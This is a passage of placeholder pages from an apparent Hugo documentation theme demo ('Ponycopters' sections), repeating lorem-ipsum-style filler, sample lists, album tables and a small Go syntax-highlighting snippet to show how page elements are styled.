This is a normal paragraph following a header. Knausgaard kale chips snackwave microdosing cronut copper mug swag synth bitters letterpress glossier craft beer. Mumblecore bushwick authentic gochujang vegan chambray meditation jean shorts irony. Viral farm-to-table kale chips, pork belly palo santo distillery activated charcoal aesthetic jianbing air plant woke lomo VHS organic. Tattooed locavore succulents heirloom, small batch sriracha echo park DIY af. Shaman you probably haven’t heard of them copper mug, crucifix green juice vape single-origin coffee brunch actually. Mustache etsy vexillologist raclette authentic fam. Tousled beard humblebrag asymmetrical. I love turkey, I love my job, I love my friends, I love Chardonnay!

Deae legum paulatimque terra, non vos mutata tacet: dic. Vocant docuique me plumas fila quin afuerunt copia haec o neque.

On big screens, paragraphs and headings should not take up the full container width, but we want tables, code blocks and similar to take the full width.

Scenester tumeric pickled, authentic crucifix post-ironic fam freegan VHS pork belly 8-bit yuccie PBR&B. I love this life we live in.

Second Header 2

This is a blockquote following a header. Bacon ipsum dolor sit amet t-bone doner shank drumstick, pork belly porchetta chuck sausage brisket ham hock rump pig. Chuck kielbasa leberkas, pork bresaola ham hock filet mignon cow shoulder short ribs biltong.

Header 3

This is a code block following a header.

Next level leggings before they sold out, PBR&B church-key shaman echo park. Kale chips occupy godard whatever pop-up freegan pork belly selfies. Gastropub Belinda subway tile woke post-ironic seitan. Shabby chic man bun semiotics vape, chia messenger bag plaid cardigan.

Header 4

  • This is an unordered list following a header.
  • This is an unordered list following a header.
  • This is an unordered list following a header.
Header 5
  1. This is an ordered list following a header.
  2. This is an ordered list following a header.
  3. This is an ordered list following a header.
Header 6
WhatFollows
A tableA header
A tableA header
A tableA header

There’s a horizontal rule above and below this.


Here is an unordered list:

  • Liverpool F.C.
  • Chelsea F.C.
  • Manchester United F.C.

And an ordered list:

  1. Michael Brecker
  2. Seamus Blake
  3. Branford Marsalis

And an unordered task list:

  • Create a Hugo theme
  • Add task lists to it
  • Take a vacation

And a “mixed” task list:

  • Pack bags
  • ?
  • Travel!

And a nested list:

  • Jackson 5
    • Michael
    • Tito
    • Jackie
    • Marlon
    • Jermaine
  • TMNT
    • Leonardo
    • Michelangelo
    • Donatello
    • Raphael

Definition lists can be used with Markdown syntax. Definition headers are bold.

Name
Godzilla
Born
1952
Birthplace
Japan
Color
Green

Tables should have bold headings and alternating shaded rows.

ArtistAlbumYear
Michael JacksonThriller1982
PrincePurple Rain1984
Beastie BoysLicense to Ill1986

If a table is too wide, it should scroll horizontally.

ArtistAlbumYearLabelAwardsSongs
Michael JacksonThriller1982Epic RecordsGrammy Award for Album of the Year, American Music Award for Favorite Pop/Rock Album, American Music Award for Favorite Soul/R&B Album, Brit Award for Best Selling Album, Grammy Award for Best Engineered Album, Non-ClassicalWanna Be Startin’ Somethin’, Baby Be Mine, The Girl Is Mine, Thriller, Beat It, Billie Jean, Human Nature, P.Y.T. (Pretty Young Thing), The Lady in My Life
PrincePurple Rain1984Warner Brothers RecordsGrammy Award for Best Score Soundtrack for Visual Media, American Music Award for Favorite Pop/Rock Album, American Music Award for Favorite Soul/R&B Album, Brit Award for Best Soundtrack/Cast Recording, Grammy Award for Best Rock Performance by a Duo or Group with VocalLet’s Go Crazy, Take Me With U, The Beautiful Ones, Computer Blue, Darling Nikki, When Doves Cry, I Would Die 4 U, Baby I’m a Star, Purple Rain
Beastie BoysLicense to Ill1986Mercury RecordsnoawardsbutthistablecelliswideRhymin & Stealin, The New Style, She’s Crafty, Posse in Effect, Slow Ride, Girls, (You Gotta) Fight for Your Right, No Sleep Till Brooklyn, Paul Revere, Hold It Now, Hit It, Brass Monkey, Slow and Low, Time to Get Ill

Code snippets like var foo = "bar"; can be shown inline.

Also, this should vertically align with this and this.

Code can also be shown in a block element.

foo := "bar";
bar := "foo";

Code can also use syntax highlighting.

func main() {
  input := `var foo = "bar";`

  lexer := lexers.Get("javascript")
  iterator, _ := lexer.Tokenise(nil, input)
  style := styles.Get("github")
  formatter := html.New(html.WithLineNumbers())

  var buff bytes.Buffer
  formatter.Format(&buff, style, iterator)

  fmt.Println(buff.String())
}
Long, single-line code blocks should not wrap. They should horizontally scroll if they are too long. This line should be long enough to demonstrate this.

Inline code inside table cells should still be distinguishable.

LanguageCode
Javascriptvar foo = "bar";
Rubyfoo = "bar"{

Small images should be shown at their actual size.

Large images should always scale down and fit in the content container.

The photo above of the Spruce Picea abies shoot with foliage buds: Bjørn Erik Pedersen, CC-BY-SA.

Components

Alerts

Another Heading

Add some sections here to see how the ToC looks like. Bacon ipsum dolor sit amet t-bone doner shank drumstick, pork belly porchetta chuck sausage brisket ham hock rump pig. Chuck kielbasa leberkas, pork bresaola ham hock filet mignon cow shoulder short ribs biltong.

This Document

Inguina genus: Anaphen post: lingua violente voce suae meus aetate diversi. Orbis unam nec flammaeque status deam Silenum erat et a ferrea. Excitus rigidum ait: vestro et Herculis convicia: nitidae deseruit coniuge Proteaque adiciam eripitur? Sitim noceat signa probat quidem. Sua longis fugatis quidem genae.

Pixel Count

Tilde photo booth wayfarers cliche lomo intelligentsia man braid kombucha vaporware farm-to-table mixtape portland. PBR&B pickled cornhole ugh try-hard ethical subway tile. Fixie paleo intelligentsia pabst. Ennui waistcoat vinyl gochujang. Poutine salvia authentic affogato, chambray lumbersexual shabby chic.

Contact Info

Plaid hell of cred microdosing, succulents tilde pour-over. Offal shabby chic 3 wolf moon blue bottle raw denim normcore poutine pork belly.

Stumptown PBR&B keytar plaid street art, forage XOXO pitchfork selvage affogato green juice listicle pickled everyday carry hashtag. Organic sustainable letterpress sartorial scenester intelligentsia swag bushwick. Put a bird on it stumptown neutra locavore. IPhone typewriter messenger bag narwhal. Ennui cold-pressed seitan flannel keytar, single-origin coffee adaptogen occupy yuccie williamsburg chillwave shoreditch forage waistcoat.

This is the final element on the page and there should be no margin below this.

20.3 - Another Task

A short lead description about this content page. It can be bold or italic and can be split over multiple paragraphs.

This is a placeholder page. Replace it with your own content.

Text can be bold, italic, or strikethrough. Links should be blue with no underlines (unless hovered over).

There should be whitespace between paragraphs. Vape migas chillwave sriracha poutine try-hard distillery. Tattooed shabby chic small batch, pabst art party heirloom letterpress air plant pop-up. Sustainable chia skateboard art party banjo cardigan normcore affogato vexillologist quinoa meggings man bun master cleanse shoreditch readymade. Yuccie prism four dollar toast tbh cardigan iPhone, tumblr listicle live-edge VHS. Pug lyft normcore hot chicken biodiesel, actually keffiyeh thundercats photo booth pour-over twee fam food truck microdosing banh mi. Vice activated charcoal raclette unicorn live-edge post-ironic. Heirloom vexillologist coloring book, beard deep v letterpress echo park humblebrag tilde.

90’s four loko seitan photo booth gochujang freegan tumeric listicle fam ugh humblebrag. Bespoke leggings gastropub, biodiesel brunch pug fashion axe meh swag art party neutra deep v chia. Enamel pin fanny pack knausgaard tofu, artisan cronut hammock meditation occupy master cleanse chartreuse lumbersexual. Kombucha kogi viral truffaut synth distillery single-origin coffee ugh slow-carb marfa selfies. Pitchfork schlitz semiotics fanny pack, ugh artisan vegan vaporware hexagon. Polaroid fixie post-ironic venmo wolf ramps kale chips.

There should be no margin above this first sentence.

Blockquotes should be a lighter gray with a border along the left side in the secondary color.

There should be no margin below this final sentence.

First Header 2

This is a normal paragraph following a header. Knausgaard kale chips snackwave microdosing cronut copper mug swag synth bitters letterpress glossier craft beer. Mumblecore bushwick authentic gochujang vegan chambray meditation jean shorts irony. Viral farm-to-table kale chips, pork belly palo santo distillery activated charcoal aesthetic jianbing air plant woke lomo VHS organic. Tattooed locavore succulents heirloom, small batch sriracha echo park DIY af. Shaman you probably haven’t heard of them copper mug, crucifix green juice vape single-origin coffee brunch actually. Mustache etsy vexillologist raclette authentic fam. Tousled beard humblebrag asymmetrical. I love turkey, I love my job, I love my friends, I love Chardonnay!

Deae legum paulatimque terra, non vos mutata tacet: dic. Vocant docuique me plumas fila quin afuerunt copia haec o neque.

On big screens, paragraphs and headings should not take up the full container width, but we want tables, code blocks and similar to take the full width.

Scenester tumeric pickled, authentic crucifix post-ironic fam freegan VHS pork belly 8-bit yuccie PBR&B. I love this life we live in.

Second Header 2

This is a blockquote following a header. Bacon ipsum dolor sit amet t-bone doner shank drumstick, pork belly porchetta chuck sausage brisket ham hock rump pig. Chuck kielbasa leberkas, pork bresaola ham hock filet mignon cow shoulder short ribs biltong.

Header 3

This is a code block following a header.

Next level leggings before they sold out, PBR&B church-key shaman echo park. Kale chips occupy godard whatever pop-up freegan pork belly selfies. Gastropub Belinda subway tile woke post-ironic seitan. Shabby chic man bun semiotics vape, chia messenger bag plaid cardigan.

Header 4

  • This is an unordered list following a header.
  • This is an unordered list following a header.
  • This is an unordered list following a header.
Header 5
  1. This is an ordered list following a header.
  2. This is an ordered list following a header.
  3. This is an ordered list following a header.
Header 6
WhatFollows
A tableA header
A tableA header
A tableA header

There’s a horizontal rule above and below this.


Here is an unordered list:

  • Liverpool F.C.
  • Chelsea F.C.
  • Manchester United F.C.

And an ordered list:

  1. Michael Brecker
  2. Seamus Blake
  3. Branford Marsalis

And an unordered task list:

  • Create a Hugo theme
  • Add task lists to it
  • Take a vacation

And a “mixed” task list:

  • Pack bags
  • ?
  • Travel!

And a nested list:

  • Jackson 5
    • Michael
    • Tito
    • Jackie
    • Marlon
    • Jermaine
  • TMNT
    • Leonardo
    • Michelangelo
    • Donatello
    • Raphael

Definition lists can be used with Markdown syntax. Definition headers are bold.

Name
Godzilla
Born
1952
Birthplace
Japan
Color
Green

Tables should have bold headings and alternating shaded rows.

ArtistAlbumYear
Michael JacksonThriller1982
PrincePurple Rain1984
Beastie BoysLicense to Ill1986

If a table is too wide, it should scroll horizontally.

ArtistAlbumYearLabelAwardsSongs
Michael JacksonThriller1982Epic RecordsGrammy Award for Album of the Year, American Music Award for Favorite Pop/Rock Album, American Music Award for Favorite Soul/R&B Album, Brit Award for Best Selling Album, Grammy Award for Best Engineered Album, Non-ClassicalWanna Be Startin’ Somethin’, Baby Be Mine, The Girl Is Mine, Thriller, Beat It, Billie Jean, Human Nature, P.Y.T. (Pretty Young Thing), The Lady in My Life
PrincePurple Rain1984Warner Brothers RecordsGrammy Award for Best Score Soundtrack for Visual Media, American Music Award for Favorite Pop/Rock Album, American Music Award for Favorite Soul/R&B Album, Brit Award for Best Soundtrack/Cast Recording, Grammy Award for Best Rock Performance by a Duo or Group with VocalLet’s Go Crazy, Take Me With U, The Beautiful Ones, Computer Blue, Darling Nikki, When Doves Cry, I Would Die 4 U, Baby I’m a Star, Purple Rain
Beastie BoysLicense to Ill1986Mercury RecordsnoawardsbutthistablecelliswideRhymin & Stealin, The New Style, She’s Crafty, Posse in Effect, Slow Ride, Girls, (You Gotta) Fight for Your Right, No Sleep Till Brooklyn, Paul Revere, Hold It Now, Hit It, Brass Monkey, Slow and Low, Time to Get Ill

Code snippets like var foo = "bar"; can be shown inline.

Also, this should vertically align with this and this.

Code can also be shown in a block element.

foo := "bar";
bar := "foo";

Code can also use syntax highlighting.

func main() {
  input := `var foo = "bar";`

  lexer := lexers.Get("javascript")
  iterator, _ := lexer.Tokenise(nil, input)
  style := styles.Get("github")
  formatter := html.New(html.WithLineNumbers())

  var buff bytes.Buffer
  formatter.Format(&buff, style, iterator)

  fmt.Println(buff.String())
}
Long, single-line code blocks should not wrap. They should horizontally scroll if they are too long. This line should be long enough to demonstrate this.

Inline code inside table cells should still be distinguishable.

LanguageCode
Javascriptvar foo = "bar";
Rubyfoo = "bar"{

Small images should be shown at their actual size.

Large images should always scale down and fit in the content container.

The photo above of the Spruce Picea abies shoot with foliage buds: Bjørn Erik Pedersen, CC-BY-SA.

Components

Alerts

Another Heading

Add some sections here to see how the ToC looks like. Bacon ipsum dolor sit amet t-bone doner shank drumstick, pork belly porchetta chuck sausage brisket ham hock rump pig. Chuck kielbasa leberkas, pork bresaola ham hock filet mignon cow shoulder short ribs biltong.

This Document

Inguina genus: Anaphen post: lingua violente voce suae meus aetate diversi. Orbis unam nec flammaeque status deam Silenum erat et a ferrea. Excitus rigidum ait: vestro et Herculis convicia: nitidae deseruit coniuge Proteaque adiciam eripitur? Sitim noceat signa probat quidem. Sua longis fugatis quidem genae.

Pixel Count

Tilde photo booth wayfarers cliche lomo intelligentsia man braid kombucha vaporware farm-to-table mixtape portland. PBR&B pickled cornhole ugh try-hard ethical subway tile. Fixie paleo intelligentsia pabst. Ennui waistcoat vinyl gochujang. Poutine salvia authentic affogato, chambray lumbersexual shabby chic.

Contact Info

Plaid hell of cred microdosing, succulents tilde pour-over. Offal shabby chic 3 wolf moon blue bottle raw denim normcore poutine pork belly.

Stumptown PBR&B keytar plaid street art, forage XOXO pitchfork selvage affogato green juice listicle pickled everyday carry hashtag. Organic sustainable letterpress sartorial scenester intelligentsia swag bushwick. Put a bird on it stumptown neutra locavore. IPhone typewriter messenger bag narwhal. Ennui cold-pressed seitan flannel keytar, single-origin coffee adaptogen occupy yuccie williamsburg chillwave shoreditch forage waistcoat.

This is the final element on the page and there should be no margin below this.

20.4 - Working with Ponycopters

A short lead description about this section page. Text here can also be bold or italic and can even be split over multiple paragraphs.

This is a placeholder page. Replace it with your own content.

This is the section landing page.

20.4.1 - Configuring Ponycopters

A short lead description about this content page. It can be bold or italic and can be split over multiple paragraphs.

This is a placeholder page. Replace it with your own content.

Text can be bold, italic, or strikethrough. Links should be blue with no underlines (unless hovered over).

There should be whitespace between paragraphs. Vape migas chillwave sriracha poutine try-hard distillery. Tattooed shabby chic small batch, pabst art party heirloom letterpress air plant pop-up. Sustainable chia skateboard art party banjo cardigan normcore affogato vexillologist quinoa meggings man bun master cleanse shoreditch readymade. Yuccie prism four dollar toast tbh cardigan iPhone, tumblr listicle live-edge VHS. Pug lyft normcore hot chicken biodiesel, actually keffiyeh thundercats photo booth pour-over twee fam food truck microdosing banh mi. Vice activated charcoal raclette unicorn live-edge post-ironic. Heirloom vexillologist coloring book, beard deep v letterpress echo park humblebrag tilde.

90’s four loko seitan photo booth gochujang freegan tumeric listicle fam ugh humblebrag. Bespoke leggings gastropub, biodiesel brunch pug fashion axe meh swag art party neutra deep v chia. Enamel pin fanny pack knausgaard tofu, artisan cronut hammock meditation occupy master cleanse chartreuse lumbersexual. Kombucha kogi viral truffaut synth distillery single-origin coffee ugh slow-carb marfa selfies. Pitchfork schlitz semiotics fanny pack, ugh artisan vegan vaporware hexagon. Polaroid fixie post-ironic venmo wolf ramps kale chips.

There should be no margin above this first sentence.

Blockquotes should be a lighter gray with a border along the left side in the secondary color.

There should be no margin below this final sentence.

First Header 2

This is a normal paragraph following a header. Knausgaard kale chips snackwave microdosing cronut copper mug swag synth bitters letterpress glossier craft beer. Mumblecore bushwick authentic gochujang vegan chambray meditation jean shorts irony. Viral farm-to-table kale chips, pork belly palo santo distillery activated charcoal aesthetic jianbing air plant woke lomo VHS organic. Tattooed locavore succulents heirloom, small batch sriracha echo park DIY af. Shaman you probably haven’t heard of them copper mug, crucifix green juice vape single-origin coffee brunch actually. Mustache etsy vexillologist raclette authentic fam. Tousled beard humblebrag asymmetrical. I love turkey, I love my job, I love my friends, I love Chardonnay!

Deae legum paulatimque terra, non vos mutata tacet: dic. Vocant docuique me plumas fila quin afuerunt copia haec o neque.

On big screens, paragraphs and headings should not take up the full container width, but we want tables, code blocks and similar to take the full width.

Scenester tumeric pickled, authentic crucifix post-ironic fam freegan VHS pork belly 8-bit yuccie PBR&B. I love this life we live in.

Second Header 2

This is a blockquote following a header. Bacon ipsum dolor sit amet t-bone doner shank drumstick, pork belly porchetta chuck sausage brisket ham hock rump pig. Chuck kielbasa leberkas, pork bresaola ham hock filet mignon cow shoulder short ribs biltong.

Header 3

This is a code block following a header.

Next level leggings before they sold out, PBR&B church-key shaman echo park. Kale chips occupy godard whatever pop-up freegan pork belly selfies. Gastropub Belinda subway tile woke post-ironic seitan. Shabby chic man bun semiotics vape, chia messenger bag plaid cardigan.

Header 4

  • This is an unordered list following a header.
  • This is an unordered list following a header.
  • This is an unordered list following a header.
Header 5
  1. This is an ordered list following a header.
  2. This is an ordered list following a header.
  3. This is an ordered list following a header.
Header 6
WhatFollows
A tableA header
A tableA header
A tableA header

There’s a horizontal rule above and below this.


Here is an unordered list:

  • Liverpool F.C.
  • Chelsea F.C.
  • Manchester United F.C.

And an ordered list:

  1. Michael Brecker
  2. Seamus Blake
  3. Branford Marsalis

And an unordered task list:

  • Create a Hugo theme
  • Add task lists to it
  • Take a vacation

And a “mixed” task list:

  • Pack bags
  • ?
  • Travel!

And a nested list:

  • Jackson 5
    • Michael
    • Tito
    • Jackie
    • Marlon
    • Jermaine
  • TMNT
    • Leonardo
    • Michelangelo
    • Donatello
    • Raphael

Definition lists can be used with Markdown syntax. Definition headers are bold.

Name
Godzilla
Born
1952
Birthplace
Japan
Color
Green

Tables should have bold headings and alternating shaded rows.

ArtistAlbumYear
Michael JacksonThriller1982
PrincePurple Rain1984
Beastie BoysLicense to Ill1986

If a table is too wide, it should scroll horizontally.

ArtistAlbumYearLabelAwardsSongs
Michael JacksonThriller1982Epic RecordsGrammy Award for Album of the Year, American Music Award for Favorite Pop/Rock Album, American Music Award for Favorite Soul/R&B Album, Brit Award for Best Selling Album, Grammy Award for Best Engineered Album, Non-ClassicalWanna Be Startin’ Somethin’, Baby Be Mine, The Girl Is Mine, Thriller, Beat It, Billie Jean, Human Nature, P.Y.T. (Pretty Young Thing), The Lady in My Life
PrincePurple Rain1984Warner Brothers RecordsGrammy Award for Best Score Soundtrack for Visual Media, American Music Award for Favorite Pop/Rock Album, American Music Award for Favorite Soul/R&B Album, Brit Award for Best Soundtrack/Cast Recording, Grammy Award for Best Rock Performance by a Duo or Group with VocalLet’s Go Crazy, Take Me With U, The Beautiful Ones, Computer Blue, Darling Nikki, When Doves Cry, I Would Die 4 U, Baby I’m a Star, Purple Rain
Beastie BoysLicense to Ill1986Mercury RecordsnoawardsbutthistablecelliswideRhymin & Stealin, The New Style, She’s Crafty, Posse in Effect, Slow Ride, Girls, (You Gotta) Fight for Your Right, No Sleep Till Brooklyn, Paul Revere, Hold It Now, Hit It, Brass Monkey, Slow and Low, Time to Get Ill

Code snippets like var foo = "bar"; can be shown inline.

Also, this should vertically align with this and this.

Code can also be shown in a block element.

foo := "bar";
bar := "foo";

Code can also use syntax highlighting.

func main() {
  input := `var foo = "bar";`

  lexer := lexers.Get("javascript")
  iterator, _ := lexer.Tokenise(nil, input)
  style := styles.Get("github")
  formatter := html.New(html.WithLineNumbers())

  var buff bytes.Buffer
  formatter.Format(&buff, style, iterator)

  fmt.Println(buff.String())
}
Long, single-line code blocks should not wrap. They should horizontally scroll if they are too long. This line should be long enough to demonstrate this.

Inline code inside table cells should still be distinguishable.

LanguageCode
Javascriptvar foo = "bar";
Rubyfoo = "bar"{

Small images should be shown at their actual size.

Large images should always scale down and fit in the content container.

The photo above of the Spruce Picea abies shoot with foliage buds: Bjørn Erik Pedersen, CC-BY-SA.

Components

Alerts

Another Heading

Add some sections here to see how the ToC looks like. Bacon ipsum dolor sit amet t-bone doner shank drumstick, pork belly porchetta chuck sausage brisket ham hock rump pig. Chuck kielbasa leberkas, pork bresaola ham hock filet mignon cow shoulder short ribs biltong.

This Document

Inguina genus: Anaphen post: lingua violente voce suae meus aetate diversi. Orbis unam nec flammaeque status deam Silenum erat et a ferrea. Excitus rigidum ait: vestro et Herculis convicia: nitidae deseruit coniuge Proteaque adiciam eripitur? Sitim noceat signa probat quidem. Sua longis fugatis quidem genae.

Pixel Count

Tilde photo booth wayfarers cliche lomo intelligentsia man braid kombucha vaporware farm-to-table mixtape portland. PBR&B pickled cornhole ugh try-hard ethical subway tile. Fixie paleo intelligentsia pabst. Ennui waistcoat vinyl gochujang. Poutine salvia authentic affogato, chambray lumbersexual shabby chic.

Contact Info

Plaid hell of cred microdosing, succulents tilde pour-over. Offal shabby chic 3 wolf moon blue bottle raw denim normcore poutine pork belly.

Stumptown PBR&B keytar plaid street art, forage XOXO pitchfork selvage affogato green juice listicle pickled everyday carry hashtag. Organic sustainable letterpress sartorial scenester intelligentsia swag bushwick. Put a bird on it stumptown neutra locavore. IPhone typewriter messenger bag narwhal. Ennui cold-pressed seitan flannel keytar, single-origin coffee adaptogen occupy yuccie williamsburg chillwave shoreditch forage waistcoat.

This is the final element on the page and there should be no margin below this.

20.4.2 - Launching Ponycopters

A short lead description about this content page. It can be bold or italic and can be split over multiple paragraphs.

This is a placeholder page. Replace it with your own content.

Text can be bold, italic, or strikethrough. Links should be blue with no underlines (unless hovered over).

There should be whitespace between paragraphs. Vape migas chillwave sriracha poutine try-hard distillery. Tattooed shabby chic small batch, pabst art party heirloom letterpress air plant pop-up. Sustainable chia skateboard art party banjo cardigan normcore affogato vexillologist quinoa meggings man bun master cleanse shoreditch readymade. Yuccie prism four dollar toast tbh cardigan iPhone, tumblr listicle live-edge VHS. Pug lyft normcore hot chicken biodiesel, actually keffiyeh thundercats photo booth pour-over twee fam food truck microdosing banh mi. Vice activated charcoal raclette unicorn live-edge post-ironic. Heirloom vexillologist coloring book, beard deep v letterpress echo park humblebrag tilde.

90’s four loko seitan photo booth gochujang freegan tumeric listicle fam ugh humblebrag. Bespoke leggings gastropub, biodiesel brunch pug fashion axe meh swag art party neutra deep v chia. Enamel pin fanny pack knausgaard tofu, artisan cronut hammock meditation occupy master cleanse chartreuse lumbersexual. Kombucha kogi viral truffaut synth distillery single-origin coffee ugh slow-carb marfa selfies. Pitchfork schlitz semiotics fanny pack, ugh artisan vegan vaporware hexagon. Polaroid fixie post-ironic venmo wolf ramps kale chips.

There should be no margin above this first sentence.

Blockquotes should be a lighter gray with a border along the left side in the secondary color.

There should be no margin below this final sentence.

First Header 2

This is a normal paragraph following a header. Knausgaard kale chips snackwave microdosing cronut copper mug swag synth bitters letterpress glossier craft beer. Mumblecore bushwick authentic gochujang vegan chambray meditation jean shorts irony. Viral farm-to-table kale chips, pork belly palo santo distillery activated charcoal aesthetic jianbing air plant woke lomo VHS organic. Tattooed locavore succulents heirloom, small batch sriracha echo park DIY af. Shaman you probably haven’t heard of them copper mug, crucifix green juice vape single-origin coffee brunch actually. Mustache etsy vexillologist raclette authentic fam. Tousled beard humblebrag asymmetrical. I love turkey, I love my job, I love my friends, I love Chardonnay!

Deae legum paulatimque terra, non vos mutata tacet: dic. Vocant docuique me plumas fila quin afuerunt copia haec o neque.

On big screens, paragraphs and headings should not take up the full container width, but we want tables, code blocks and similar to take the full width.

Scenester tumeric pickled, authentic crucifix post-ironic fam freegan VHS pork belly 8-bit yuccie PBR&B. I love this life we live in.

Second Header 2

This is a blockquote following a header. Bacon ipsum dolor sit amet t-bone doner shank drumstick, pork belly porchetta chuck sausage brisket ham hock rump pig. Chuck kielbasa leberkas, pork bresaola ham hock filet mignon cow shoulder short ribs biltong.

Header 3

This is a code block following a header.

Next level leggings before they sold out, PBR&B church-key shaman echo park. Kale chips occupy godard whatever pop-up freegan pork belly selfies. Gastropub Belinda subway tile woke post-ironic seitan. Shabby chic man bun semiotics vape, chia messenger bag plaid cardigan.

Header 4

  • This is an unordered list following a header.
  • This is an unordered list following a header.
  • This is an unordered list following a header.
Header 5
  1. This is an ordered list following a header.
  2. This is an ordered list following a header.
  3. This is an ordered list following a header.
Header 6
WhatFollows
A tableA header
A tableA header
A tableA header

There’s a horizontal rule above and below this.


Here is an unordered list:

  • Liverpool F.C.
  • Chelsea F.C.
  • Manchester United F.C.

And an ordered list:

  1. Michael Brecker
  2. Seamus Blake
  3. Branford Marsalis

And an unordered task list:

  • Create a Hugo theme
  • Add task lists to it
  • Take a vacation

And a “mixed” task list:

  • Pack bags
  • ?
  • Travel!

And a nested list:

  • Jackson 5
    • Michael
    • Tito
    • Jackie
    • Marlon
    • Jermaine
  • TMNT
    • Leonardo
    • Michelangelo
    • Donatello
    • Raphael

Definition lists can be used with Markdown syntax. Definition headers are bold.

Name
Godzilla
Born
1952
Birthplace
Japan
Color
Green

Tables should have bold headings and alternating shaded rows.

ArtistAlbumYear
Michael JacksonThriller1982
PrincePurple Rain1984
Beastie BoysLicense to Ill1986

If a table is too wide, it should scroll horizontally.

ArtistAlbumYearLabelAwardsSongs
Michael JacksonThriller1982Epic RecordsGrammy Award for Album of the Year, American Music Award for Favorite Pop/Rock Album, American Music Award for Favorite Soul/R&B Album, Brit Award for Best Selling Album, Grammy Award for Best Engineered Album, Non-ClassicalWanna Be Startin’ Somethin’, Baby Be Mine, The Girl Is Mine, Thriller, Beat It, Billie Jean, Human Nature, P.Y.T. (Pretty Young Thing), The Lady in My Life
PrincePurple Rain1984Warner Brothers RecordsGrammy Award for Best Score Soundtrack for Visual Media, American Music Award for Favorite Pop/Rock Album, American Music Award for Favorite Soul/R&B Album, Brit Award for Best Soundtrack/Cast Recording, Grammy Award for Best Rock Performance by a Duo or Group with VocalLet’s Go Crazy, Take Me With U, The Beautiful Ones, Computer Blue, Darling Nikki, When Doves Cry, I Would Die 4 U, Baby I’m a Star, Purple Rain
Beastie BoysLicense to Ill1986Mercury RecordsnoawardsbutthistablecelliswideRhymin & Stealin, The New Style, She’s Crafty, Posse in Effect, Slow Ride, Girls, (You Gotta) Fight for Your Right, No Sleep Till Brooklyn, Paul Revere, Hold It Now, Hit It, Brass Monkey, Slow and Low, Time to Get Ill

Code snippets like var foo = "bar"; can be shown inline.

Also, this should vertically align with this and this.

Code can also be shown in a block element.

foo := "bar";
bar := "foo";

Code can also use syntax highlighting.

func main() {
  input := `var foo = "bar";`

  lexer := lexers.Get("javascript")
  iterator, _ := lexer.Tokenise(nil, input)
  style := styles.Get("github")
  formatter := html.New(html.WithLineNumbers())

  var buff bytes.Buffer
  formatter.Format(&buff, style, iterator)

  fmt.Println(buff.String())
}
Long, single-line code blocks should not wrap. They should horizontally scroll if they are too long. This line should be long enough to demonstrate this.

Inline code inside table cells should still be distinguishable.

LanguageCode
Javascriptvar foo = "bar";
Rubyfoo = "bar"{

Small images should be shown at their actual size.

Large images should always scale down and fit in the content container.

The photo above of the Spruce Picea abies shoot with foliage buds: Bjørn Erik Pedersen, CC-BY-SA.

Components

Alerts

Another Heading

Add some sections here to see how the ToC looks like. Bacon ipsum dolor sit amet t-bone doner shank drumstick, pork belly porchetta chuck sausage brisket ham hock rump pig. Chuck kielbasa leberkas, pork bresaola ham hock filet mignon cow shoulder short ribs biltong.

This Document

Inguina genus: Anaphen post: lingua violente voce suae meus aetate diversi. Orbis unam nec flammaeque status deam Silenum erat et a ferrea. Excitus rigidum ait: vestro et Herculis convicia: nitidae deseruit coniuge Proteaque adiciam eripitur? Sitim noceat signa probat quidem. Sua longis fugatis quidem genae.

Pixel Count

Tilde photo booth wayfarers cliche lomo intelligentsia man braid kombucha vaporware farm-to-table mixtape portland. PBR&B pickled cornhole ugh try-hard ethical subway tile. Fixie paleo intelligentsia pabst. Ennui waistcoat vinyl gochujang. Poutine salvia authentic affogato, chambray lumbersexual shabby chic.

Contact Info

Plaid hell of cred microdosing, succulents tilde pour-over. Offal shabby chic 3 wolf moon blue bottle raw denim normcore poutine pork belly.

Stumptown PBR&B keytar plaid street art, forage XOXO pitchfork selvage affogato green juice listicle pickled everyday carry hashtag. Organic sustainable letterpress sartorial scenester intelligentsia swag bushwick. Put a bird on it stumptown neutra locavore. IPhone typewriter messenger bag narwhal. Ennui cold-pressed seitan flannel keytar, single-origin coffee adaptogen occupy yuccie williamsburg chillwave shoreditch forage waistcoat.

This is the final element on the page and there should be no margin below this.